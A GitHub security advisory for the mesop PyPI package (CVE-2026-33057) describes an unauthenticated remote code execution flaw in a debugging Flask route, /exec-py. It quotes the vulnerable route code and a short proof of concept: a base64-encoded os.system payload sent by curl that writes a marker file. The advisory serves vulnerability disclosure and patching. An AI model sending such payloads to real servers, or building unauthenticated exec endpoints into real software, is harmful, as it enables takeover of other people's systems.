GitHub Advisoryadvisory · PyPI

GHSA-gjgx-rvqr-6w6v Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

CRITICAL Published 2026-03-18 Modified 2026-03-20 Official page ↗
Aliases
CVE-2026-33057
Ecosystem
PyPI
Packages
mesop
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-03-18

Affected packages

• PyPI mesop: < 1.2.3 → fixed in 1.2.3

Description

Summary An explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. Details The AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`. ```python ai/sandbox/wsgi_app.py @flask_app.route("/exec-py", methods=["POST"]) def exec_py_route(): code = base64.urlsafe_b64decode(request.form.get("code")) # ... code is blindly written to file and forcefully executed ``` PoC ```bash Payload: import os os.system('echo "pwned by attacker" > /tmp/pwned.txt') Base64 string represents the identical payload block above: aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ== curl -X POST http://:port/exec-py \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==" Validate exploitation target execution natively: $ cat /tmp/pwned.txt pwned by attacker ``` Impact This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Related

Alias · CVE (1)

  • CVE-2026-33057 Mesop is a Python-based UI framework that allows users to build web applications. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References